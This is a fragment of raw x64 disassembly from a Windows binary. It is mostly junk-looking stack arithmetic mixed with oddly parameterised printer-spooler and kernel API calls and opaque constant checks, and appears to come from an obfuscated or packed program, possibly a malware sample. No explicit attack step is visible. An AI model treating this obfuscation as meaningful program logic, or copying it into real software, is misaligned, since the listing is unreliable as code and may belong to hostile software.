mov rcx, qword [rsp + 0x10358]
mov qword [rsp + 0x10488], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10488]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xef38], rax
mov rax, qword [rsp + 0x10410]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x10438]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x573], al
movzx eax, byte [rsp + 0x183]
mov byte [rsp + 0x576], al
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2914]
shl eax, cl
mov word [rsp + 0x1f28], ax
mov rax, qword [rsp + 0x101d0]
mov eax, dword [rax]
mov ecx, dword [0x140211398]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f70], eax
jmp 0x14001df0e
lea rax, [rsp + 0x10358]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x10258]
mov qword [rsp + 0x20], rax
mov r9d, 0xcc
lea r8, [rsp + 0x8040]
mov edx, 0xf6
mov rcx, qword [rsp + 0x10360]
call sub.WINSPOOL.DRV_EnumFormsW
mov dword [rsp + 0x808c], eax
mov rax, qword [rsp + 0x10400]
mov rcx, qword [rsp + 0x103a8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x10228], rax
mov rax, qword [rsp + 0x10208]
mov eax, dword [rax]
mov dword [rsp + 0x8090], eax
movsx eax, word [0x140221d84]
mov rcx, qword [rsp + 0x10258]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x28f8], ax
mov dword [rsp + 0x8094], 0xd03d
mov rax, qword [rsp + 0x103b0]
mov ecx, dword [rsp + 0x8078]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x101d0]
mov rdx, qword [rsp + 0x10210]
mov edx, dword [rdx]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
jle 0x14001e074
lea rdx, [rsp + 0x23bc0]
mov rcx, qword [rsp + 0x10420]
call sub.WINSPOOL.DRV_ResetPrinterW
mov dword [rsp + 0x7f88], eax
mov rax, qword [rsp + 0x10348]
movzx ecx, al
mov rax, qword [rsp + 0xd638]
shl rax, cl
mov rcx, qword [rsp + 0x10440]
mov qword [rcx], rax
mov eax, dword [rsp + 0x8078]
movzx ecx, al
mov eax, dword [0x140221d88]
sar eax, cl
mov dword [rsp + 0x7f70], eax
mov eax, dword [rsp + 0x6a90]
mov ecx, dword [rsp + 0x7f4c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x806c], eax
mov rax, qword [rsp + 0x10400]
mov rcx, qword [rsp + 0x102d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x10468], rax
lea rax, [rsp + 0x10438]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], SHSetInstanceExplorer
lea rax, [rsp + 0x23bc0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x7fb4]
mov r8, qword [rsp + 0x10490]
mov rdx, qword [rsp + 0x102e0]
mov rcx, qword [rsp + 0x10498]
call sub.WINSPOOL.DRV_GetPrinterDataExW
mov dword [rsp + 0x8080], eax
mov rax, qword [rsp + 0x10208]
mov edx, dword [rax]
mov rax, qword [rsp + 0x10220]
movzx ecx, word [rax]
call fcn.1401f4e00
jmp 0x1401f4288
mov rax, qword [rsp + 0x10400]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xda48]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x102d8]
mov rdx, qword [rsp + 0x10228]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
je 0x1401f4288
mov rcx, qword [rsp + 0x10470]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, word [rsp + 0x2904]
mov rcx, qword [rsp + 0x10258]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x28dc], ax
movzx eax, word [rsp + 0x1f28]
mov rcx, qword [rsp + 0x101f0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1402113bc], ax
mov rax, qword [rsp + 0x10410]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x56b]
sub eax, ecx
mov byte [rsp + 0x1c3], al
movzx eax, byte [rsp + 0x56f]
mov rcx, qword [rsp + 0x102f8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x18b], al
mov rax, qword [rsp + 0x10358]
mov rcx, qword [rsp + 0x10440]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xdac0], rax
movsx eax, word [rsp + 0x28dc]
mov rcx, qword [rsp + 0x103d0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x291c], ax
mov eax, dword [rsp + 0x7fa8]
mov ecx, dword [rsp + 0x7f70]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8040], eax
mov eax, dword [0x140221d8c]
mov ecx, dword [rsp + 0x8080]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a90], eax
mov rax, qword [rsp + 0x10400]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xda48]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x10228], rax
mov rax, qword [rsp + 0x102f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x18b]
or eax, ecx
mov byte [rsp + 0x576], al
mov ecx, ILFindLastID
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x8018], eax
mov rcx, qword [rsp + 0x103f8]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x7fe4], eax
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x101f0]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x14021139c], ax
mov rax, qword [rsp + 0x10358]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x101e0]
sar rax, cl
mov rcx, qword [rsp + 0x10440]
mov qword [rcx], rax
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x101f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x28f0], ax
mov rax, qword [rsp + 0x103d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x10258]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x28f8], ax
movzx eax, byte [rsp + 0xc0]
movzx ecx, byte [rsp + 0x2ff]
and eax, ecx
mov byte [rsp + 0x56f], al
mov eax, dword [rsp + 0x8094]
sub eax, 0x3c
mov dword [rsp + 0x8094], eax
mov rax, qword [rsp + 0x101d0]
mov ecx, dword [rsp + 0x7fcc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8040], eax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [0x140221d8c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7fb8], eax
mov rax, qword [rsp + 0x103a8]
mov rcx, qword [rsp + 0x10468]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x10408], rax
mov rax, qword [rsp + 0x10410]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1c3]
sub eax, ecx
mov byte [rsp + 0x573], al
movzx eax, word [rsp + 0x2914]
movzx ecx, word [rsp + 0x28fc]
add eax, ecx
mov word [rsp + 0x290c], ax
mov rcx, qword [rsp + 0x103f8]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x8098], eax
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x28f8]
add eax, ecx
mov word [0x1402113b8], ax
mov rax, qword [rsp + 0x102f8]
movzx eax, byte [rax]
mov rcx, qword [0x140221d98]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x102f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x10440]
mov rcx, qword [rsp + 0xd518]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xef38], rax
mov rax, qword [rsp + 0xdac0]
movzx ecx, al
mov rax, qword [rsp + 0xef38]
shl rax, cl
mov qword [rsp + 0xe6b8], rax
lea rdx, [rsp + 0x10300]
mov rcx, qword [rsp + 0x10230]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x7fc0], eax
mov rax, qword [rsp + 0x101d0]
mov rcx, qword [rsp + 0x10210]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x7f70], eax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x6a90]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x7fb8], eax
mov rax, qword [rsp + 0x103a8]
mov rcx, qword [rsp + 0x102d8]
mov qword [rsp + 0x104a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x104a0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x10228], rax
mov ecx, ILRemoveLastID
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x8018], eax
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10220]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x28d8], ax
mov rax, qword [rsp + 0x103d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2910]
add eax, ecx
mov word [rsp + 0x28dc], ax
lea rcx, [rsp + 0x25008]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x102f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x574]
add eax, ecx
mov byte [0x140221da0], al
mov rax, qword [rsp + 0x10358]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdac0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x10348], rax
mov rax, qword [rsp + 0x10358]
mov rcx, qword [rsp + 0xd518]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xef38], rax
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x290c]
add eax, ecx
mov word [rsp + 0x28f0], ax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x7f8c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7f4c], eax
mov rax, qword [rsp + 0x103a8]
mov rcx, qword [rsp + 0x101c8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xda48], rax
movsx eax, byte [0x140211039]
movsx ecx, byte [rsp + 0x573]
sub eax, ecx
mov byte [rsp + 0x572], al
mov rax, qword [rsp + 0x10210]
mov rcx, qword [rsp + 0x103b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x8040], eax
mov rax, qword [rsp + 0x103d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x10258]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2904], ax
movzx eax, word [rsp + 0x28f0]
mov rcx, qword [rsp + 0x10220]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1402113bc], ax
cmp dword [rsp + 0x8094], 0xc485
ja 0x14001e0ac
mov rax, qword [rsp + 0x102f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x10388]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x19c], al
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x10388]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xc0], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x104a8], rax
lea rcx, [rsp + 0x23c08]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movsx eax, word [rsp + 0x2904]
movsx ecx, word [rsp + 0x291c]
add eax, ecx
mov word [rsp + 0x1b14], ax
mov eax, dword [rsp + 0x7fb8]
mov dword [rsp + 0x809c], eax
mov rax, qword [rsp + 0x10210]
mov ecx, dword [rsp + 0x7fa8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8050], eax
mov rax, qword [rsp + 0x10400]
mov rax, qword [rax]
mov qword [rsp + 0x104b0], rax
movzx eax, byte [rsp + 0x56d]
mov rcx, qword [0x140221d98]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x574], al
lea rcx, str.Vm.Vo_Vghc
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2924], ax
mov eax, dword [rsp + 0x787c]
mov dword [rsp + 0x80a0], eax
cmp dword [rsp + 0x80a0], 0
je 0x14001e6d9
jmp 0x1401f40ac
mov rax, qword [rsp + 0x10388]
movzx eax, byte [rax]
mov byte [rsp + 0x577], al
mov rax, qword [rsp + 0x10228]
mov qword [rsp + 0x104b8], rax
cmp qword [rsp + 0x104b8], 0
je 0x14001e71f
movabs rax, 0x738a9ae2d4dc03
cmp qword [rsp + 0x104b8], rax
je 0x14001e787
jmp 0x14001e8e1
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
movzx ecx, word [0x140211390]
add eax, ecx
mov word [rsp + 0x2708], ax
mov rax, qword [rsp + 0x10400]
mov rcx, qword [rsp + 0x102d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x101c8], rax
mov rax, qword [rsp + 0x101d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7f70]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7acc], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
jmp 0x14001e8e1
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x7f8c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x10208]
mov dword [rcx], eax
mov dword [rsp + 0x28], 0x5e
lea rax, [rsp + 0x104c0]
mov qword [rsp + 0x20], rax
mov r9d, 0x28
mov r8, qword [rsp + 0x10330]
mov rdx, qword [rsp + 0x104c8]
mov rcx, qword [rsp + 0x10430]
call sub.WINSPOOL.DRV_SetPrinterDataExW
mov dword [rsp + 0x8090], eax
mov rax, qword [rsp + 0x10440]
mov rcx, qword [rsp + 0x10358]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xdac0], rax
movzx eax, byte [rsp + 0x576]
mov rcx, qword [rsp + 0x10388]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140221da0], al
movsx eax, word [rsp + 0x1b14]
movsx ecx, word [rsp + 0x2904]
add eax, ecx
mov word [rsp + 0x1d1c], ax
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2914]
or eax, ecx
mov word [rsp + 0x28fc], ax
movsx eax, byte [rsp + 0x572]
mov rcx, qword [rsp + 0x10410]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x56c], al
lea rax, [rsp + 0x102d8]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x1b
lea rax, [rsp + 0x10358]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x10400]
mov r8, qword [rsp + 0x104d0]
mov rdx, qword [rsp + 0x104d8]
mov rcx, qword [rsp + 0x10420]
call sub.WINSPOOL.DRV_GetPrinterDataExW
mov dword [rsp + 0x7f8c], eax
mov rax, qword [rsp + 0x10358]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x10310]
shl rax, cl
mov qword [rsp + 0x10218], rax
mov eax, dword [rsp + 0x7f8c]
mov rcx, qword [rsp + 0x10208]
mov qword [rsp + 0x104e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x104e0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x7f4c], eax
lea rax, [rsp + 0x7d50]
mov qword [rsp + 0x104e8], rax
mov rax, qword [rsp + 0x10228]
mov qword [rsp + 0x104f0], rax
movabs rax, 0x7b3f6aa141a86d
cmp qword [rsp + 0x104f0], rax
je 0x14001e95b
movabs rax, 0x7cd8896a0902bb
cmp qword [rsp + 0x104f0], rax
je 0x14001e9bb
jmp 0x14001ea43
mov rax, qword [rsp + 0x102d8]
mov rax, qword [rax]
mov rcx, qword [0x1402113a8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x10408], rax
movsx eax, word [rsp + 0x28f8]
mov rcx, qword [rsp + 0x103d0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x10258]
mov word [rcx], ax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x56d]
add eax, ecx
mov byte [0x140221da0], al
jmp 0x14001ea43
mov rax, qword [rsp + 0x10258]
movzx r9d, word [rax]
mov rax, qword [rsp + 0x10258]
movzx r8d, word [rax]
movzx edx, word [rsp + 0x2910]
mov rax, qword [rsp + 0x103d0]
movzx ecx, word [rax]
call fcn.1401f4d00
mov edx, 1
mov rcx, qword [rsp + 0x10328]
call sub.WINSPOOL.DRV_ConnectToPrinterDlg
mov qword [rsp + 0x10420], rax
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x28f0]
add eax, ecx
mov word [rsp + 0x1f28], ax
mov rax, qword [rsp + 0x10358]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd518]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x102a0], rax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x102f8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x10388]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0x18b]
sub ecx, edx
cmp eax, ecx
jne 0x1401f3fd5
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x101f0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x28f0], ax
mov edx, 0x1ad1
mov rcx, qword [rsp + 0x10448]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x7fc4], eax
mov rcx, qword [rsp + 0x101f8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x8070], eax
movsx eax, word [rsp + 0x28dc]
movsx ecx, word [rsp + 0x2920]
sub eax, ecx
mov word [0x140221d84], ax
mov rax, qword [rsp + 0xef38]
mov rcx, qword [rsp + 0xcf70]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x10218], rax
mov rax, qword [rsp + 0x10438]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x10410]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x56b], al
lea rcx, [rsp + 0x23c08]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movzx eax, word [0x140211390]
mov rcx, qword [rsp + 0x101f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x14c4], ax
movsx eax, word [rsp + 0x1d1c]
mov rcx, qword [rsp + 0x10258]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2900], ax
mov eax, dword [rsp + 0x7f50]
sub eax, 0x9e
mov dword [rsp + 0x7f50], eax
mov rax, qword [rsp + 0x10208]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7fb8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f4c], eax
mov rax, qword [rsp + 0x102d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10228]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x10408], rax
mov rax, qword [rsp + 0x101d0]
mov ecx, dword [rsp + 0x8050]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8040], eax
movzx eax, byte [rsp + 0x56f]
mov rcx, qword [rsp + 0x10388]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x577], al
mov rax, qword [rsp + 0x103d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x10258]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1402113b8], ax
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x290c]
sar eax, cl
mov rcx, qword [rsp + 0x101f0]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
movzx eax, byte [rsp + 0xc0]
movzx ecx, byte [rsp + 0x571]
or eax, ecx
mov byte [rsp + 0x19c], al
mov rax, qword [rsp + 0x10460]
mov rcx, qword [rsp + 0xd518]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x10310], rax
mov rax, qword [rsp + 0x10310]
mov rcx, qword [rsp + 0x10440]
mov qword [rsp + 0x104f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x104f8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xdac0], rax
mov rax, qword [rsp + 0x104e8]
mov ecx, dword [rsp + 0x8078]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8040], eax
mov rax, qword [rsp + 0x102d8]
mov rax, qword [rax]
mov rcx, qword [0x1402113a8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xda48], rax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x7f54]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8080], eax
mov rax, qword [0x140221d98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x56f]
sub eax, ecx
mov byte [rsp + 0x18b], al
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x28d8]
add eax, ecx
mov word [0x14021139c], ax
movsx eax, byte [rsp + 0x1c3]
mov rcx, qword [rsp + 0x10410]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x56c], al
mov rax, qword [rsp + 0x103d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x28dc]
add eax, ecx
mov word [rsp + 0x1b14], ax
mov rax, qword [rsp + 0x10460]
mov rcx, qword [rsp + 0x10348]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xef38], rax
cmp dword [rsp + 0x7f50], 0xca5a
ja 0x14001eab2
mov rax, qword [rsp + 0x10388]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x101d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x56d], al
mov rax, qword [rsp + 0x10408]
mov qword [rsp + 0x10500], rax
mov eax, dword [rsp + 0x787c]
mov ecx, dword [rsp + 0x8078]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f70], eax
mov rax, qword [rsp + 0x10208]
mov eax, dword [rax]
mov dword [rsp + 0x80a4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov edx, 0x225d
mov rcx, qword [rsp + 0x103c8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x7fc4], eax
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2708]
add eax, ecx
mov word [rsp + 0x1f28], ax
movzx eax, byte [rsp + 0x1c3]
mov byte [rsp + 0x80a8], al
cmp byte [rsp + 0x80a8], 0x41
je 0x14001ee46
jmp 0x14001ee68
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x28d8]
xor eax, ecx
mov word [rsp + 0x290c], ax
jmp 0x1401f3f50
cmp dword [rsp + 0x7fa0], 0x8344
jb 0x14001f1fe
mov edx, 0x27788b
mov rcx, qword [rsp + 0x103f8]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x8010], eax
lea rcx, [rsp + 0x23c08]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0x103d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x10258]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2908], ax
movzx eax, byte [0x140221da0]
mov rcx, qword [rsp + 0x102f8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x101d8]
mov byte [rcx], al
mov eax, dword [rsp + 0x7f8c]
mov ecx, dword [rsp + 0x8080]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x806c], eax
mov rax, qword [rsp + 0x10210]
mov ecx, dword [rsp + 0x8078]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7fa8], eax
mov rax, qword [rsp + 0x102d8]
mov rcx, qword [rsp + 0x10400]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x103a8], rax
movsx eax, byte [rsp + 0x56c]
movsx ecx, byte [rsp + 0x56b]
sub eax, ecx
mov byte [rsp + 0x56e], al
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x101f0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2694], ax
mov rax, qword [rsp + 0x103d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x10258]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1402113b8], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rax, qword [rsp + 0x102f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x19c]
sub eax, ecx
mov byte [rsp + 0xc0], al
mov rax, qword [rsp + 0x10358]
mov rcx, qword [rsp + 0xdac0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x10310], rax
mov rax, qword [rsp + 0xef38]
mov rcx, qword [rsp + 0xd2f0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x101e0], rax
mov rax, qword [rsp + 0x102d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x10400]
mov qword [rsp + 0x10508], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10508]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x101c8], rax
mov eax, dword [rsp + 0x7f4c]
movzx ecx, al
mov eax, dword [rsp + 0x80a4]
shr eax, cl
mov dword [rsp + 0x7f8c], eax
mov eax, dword [rsp + 0x787c]
mov ecx, dword [0x140221d88]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x8040], eax
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x28fc]
and eax, ecx
mov word [rsp + 0x28d8], ax
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x103d0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x28e4], ax
movzx ecx, word [rsp + 0x28f4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x28e0], ax
mov rax, qword [rsp + 0x10388]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x101d8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140221da0], al
mov rax, qword [rsp + 0x10358]
mov rcx, qword [0x140221d90]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xef38], rax
mov rax, qword [rsp + 0x101e0]
mov rcx, qword [rsp + 0xd2f0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x10358]
mov qword [rcx], rax
mov rax, qword [rsp + 0x101f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f28]
and eax, ecx
mov word [rsp + 0x28f0], ax
mov rax, qword [rsp + 0x101d0]
mov eax, dword [rax]
mov ecx, dword [0x140211398]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fcc], eax
mov rax, qword [rsp + 0x10208]
mov ecx, dword [rsp + 0x806c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7fb8], eax
mov rax, qword [rsp + 0x10438]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x10410]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x56b], al
mov eax, dword [rsp + 0x7fa0]
sub eax, 0x10
mov dword [rsp + 0x7fa0], eax
lea rcx, [rsp + 0x23c08]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0x10400]
mov rcx, qword [rsp + 0x10500]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x101c8], rax
mov ecx, 7
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x7f94], eax
mov rax, qword [rsp + 0x103d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x28dc]
xor eax, ecx
mov word [rsp + 0x1d1c], ax
mov rax, qword [rsp + 0x10220]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x28fc]
shl eax, cl
mov word [0x14021139c], ax
jmp 0x14001ee68
mov rax, qword [rsp + 0x10258]
movsx eax, word [rax]
mov dword [rsp + 0x80ac], eax
cmp dword [rsp + 0x80ac], 0x16a
je 0x14001f233
cmp dword [rsp + 0x80ac], 0x537
je 0x14001f323
jmp 0x14001f389
movsx eax, word [rsp + 0x1b14]
movsx ecx, word [rsp + 0x28f8]
or eax, ecx
mov word [rsp + 0x28e4], ax
mov rax, qword [rsp + 0x101d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x10388]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x56d], al
mov rax, qword [rsp + 0x10388]
movzx eax, byte [rax]
movzx ecx, byte [0x140221da0]
and eax, ecx
mov byte [rsp + 0xc0], al
mov eax, dword [rsp + 0x7f54]
mov ecx, dword [rsp + 0x7fb8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f8c], eax
lea r8, [rsp + 0x10208]
mov rdx, qword [rsp + 0x10510]
mov rcx, qword [rsp + 0x10518]
